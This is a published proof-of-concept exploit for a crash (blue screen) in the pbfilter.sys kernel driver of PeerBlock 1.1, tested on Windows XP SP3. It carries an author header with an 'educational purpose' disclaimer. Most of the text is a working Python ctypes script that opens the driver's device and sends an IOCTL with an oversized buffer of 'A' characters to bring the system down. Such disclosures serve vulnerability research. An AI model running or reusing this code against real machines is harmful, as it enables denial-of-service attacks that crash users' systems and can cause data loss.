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 PeerBlock 1.1 BSOD
 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.altervista.org/
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Tested on:
 Microsoft Windows XP Professional
 5.1.2600 Service Pack 3 Build 2600
 X86-based PC
 Info:
 PoC released as is, I have no time at the moment for further investigations
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 FILE INFO: (http://www.peerblock.com/)
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 File:             C:\Program Files\PeerBlock\pbfilter.sys
 MD5 hash:         2f6e885c432927a186c2e352c8a1cbf4
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 Proof of concept:
 from ctypes import *
 kernel32 = windll.kernel32
 Psapi    = windll.Psapi
 if __name__ == '__main__':
     GENERIC_READ  = 0x80000000
     GENERIC_WRITE = 0x40000000
     OPEN_EXISTING = 0x3
     CREATE_ALWAYS = 0x2
     SYM_NAME   = "\\\\.\\pbfilter"
     dwReturn      = c_ulong()
     out_buff      = "A" * 4000
     in_buff       = ("")
     handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
     dev_ioct = kernel32.DeviceIoControl(handle, 0xabab, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)
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